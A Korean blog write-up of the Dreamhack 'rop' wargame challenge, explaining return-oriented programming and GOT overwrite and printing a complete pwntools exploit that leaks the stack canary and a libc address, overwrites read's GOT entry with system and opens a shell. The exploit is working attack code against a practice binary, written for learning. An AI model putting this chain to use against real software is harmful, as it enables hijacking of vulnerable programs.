Fascination
article thumbnail

rop

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.


# 문제 분석

- ROP (Return Oriented Programming)

  • 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법
  • ROP 페이로드는 리턴 가젯으로 구성되며, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP Chain이라고도 불림

 

- 소스코드

  • 저번 문제와 달리 system 함수를 호출하지 않아 PLT에 등록되지 않으며 "/bin/sh" 문자열도 데이터 섹션에 기록되지 않음
  • 따라서 system 함수를 익스플로잇에 사용하기 위해서는 함수의 주소를 직접 구해야하고 "/bin/sh" 문자열을 사용할 다른 방법을 고민해보아야 함
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

 

- Checksec

  • 카나리로 스택오버플로우 감지
  • NX Enabled로 스택 내 실행권한 X

 

 

# Exploit

- Exploit 방법론

1. 카나리 우회

2. system 함수의 주소 계산

  • system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있음
  • 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재됨
  • 바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않으나 read, puts, printf는 GOT에 등록되어 있음
  • libc에는 여러가지 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)은 항상 같으므로 사용하는 libc 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있음

3. "/bin/sh"

  • 이 바이너리는 데이터 영역에 "bin/sh" 문자열이 없음
  • 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 함
    • 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6에 포함된 "/bin/sh" 문자열임
    • 해당 문자열의 주소도 system 함수의 주소를 계산하는 것 처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있음

4. GOT Overwrite

  • 위의 방법을 사용하여 system 함수와 "/bin/sh" 문자열의 주소를 찾을 수 있으므로, pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출할 수 있음
  • 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼오버플로우를 일으켜야 함 → 이러한 공격 패턴을 ret2main 라고 함
  • 해당 커리큘럼에서는 GOT overwrite 기법을 통해 한 번에 셸을 획득할 것
  • Lazy binding
    • 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾음
    • 찾은 주소를 GOT에 적고, 이를 호출함
    • 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조
  • 위의 과정에서 GOT overwrite에 사용되는 부분은 마지막 부분임
  • GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있게 된다면, 해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있음

 

 

# Exploit

- 카나리 우회

  • 카나리를 우회하기 위해 카나리 값을 알아내는 코드는 다음과 같음
  • buf의 위치는 rbp-0x40이며 rbp와 buf 사이에 canary가 존재하기 때문에 실제 buf의 크기는 0x38(0x40-0x8)임을 알 수 있음
  • 따라서 카나리 릭을 위해서는 0x39만큼의 더미 값을 입력해주어야 함
#!/usr/bin/python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))

p = process("./rop")
e = ELF("./rop")

buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

 

- system 함수의 주소 계산

  • read 함수의 got를 읽고, read 함수와 system 함수의 offset을 이용한다면 system 함수의 주소를 계산할 수 있음
  • pwntools에는 ELF.symbols라는 메소드가 정의되어 있는데, 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용할 수 있음
#!/usr/bin/python3
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
read_system = libc.symbols["read"]-libc.symbols["system"]
  • putspop rdi; ret 가젯을 사용하여 read 함수의 GOT를 읽고, 이를 이용해서 system 함수의 주소를 구하는 페이로드를 작성해야함
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.interactive()

 

- GOT Overwrite 및 "/bin/sh" 입력

  • "/bin/sh" 는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 됨
  • 이 바이너리에서는 입력을 위해 read 함수를 사용할 수 있음
  • read 함수는 입력 스트림, 입력 버퍼, 입력 길이, 총 세 개의 인자를 필요로 함
  • 함수 호출 규약에 따르면 설정해야 하는 레지스터는 rdi, rsi, rdx임
  • 앞의 두 인자는 pop rdi ; retpop rsi ; pop r15 ; ret 가젯으로 쉽게 설정할 수 있음
    • 하지만 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 어려움
    • 이 바이너리 뿐 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기 어려움
  • 위와 같은 상황에서는 libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제를 해결할 수 있음
    • 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있음
    • 예를 들어 strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이를 반환함
    • libc_csu_init 가젯에 대한 내용은 심화 커리큘럼에서 설명
  • Figure 4. libc에 포함된 rdx 가젯: ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so | grep "pop rdx"

  • 해당 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않아도 됨 → 좀 더 안정적인 익스플로잇을 작성하려면 가젯을 추가해줘도 좋음
  • read 함수, pop rdi ; ret , pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성해볼 것
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")

 

- 셸 획득

  • read 함수의 GOT를 system 함수의 주소로 덮었으므로, system("/bin/sh")를 실행할 수 있음
  • read 함수, pop rdi ; ret 가젯, "/bin/sh"의 주소 (read_got + 8)를 이용하여 셸을 획득하는 익스플로잇을 작성할 수 있음
from pwn import *
def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p=process("./rop")
#p=remote("host3.dreamhack.games", 20788)
e=ELF("./rop")

#libc=ELF("./libc-2.27.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# canary leak
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry=u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

# exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1

payload = b"A"*0x38 + p64(cnry)+b"B"*0x8

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0 read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read-libc.symbols["read"]
system = lb+libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

 

 

# 실행결과

  • 로컬

  • remote
    • 드림핵 내에서 제공하는 libc 파일을 사용해야 함

 

 

# 요약

  • Return Oriented Programming(ROP): 리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법. 문제 상황에 맞춰 공격자가 유연하게 익스플로잇을 작성할 수 있음
  • GOT overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법

 

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] basic_rop_x64  (2) 2022.09.18
[Dreamhack] out_of_bound  (0) 2022.09.15
[Dreamhack] ssp_001  (0) 2022.09.13
[Dreamhack] Return to Library  (0) 2022.09.07
[Dreamhack] Return to Shellcode  (0) 2022.09.05
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!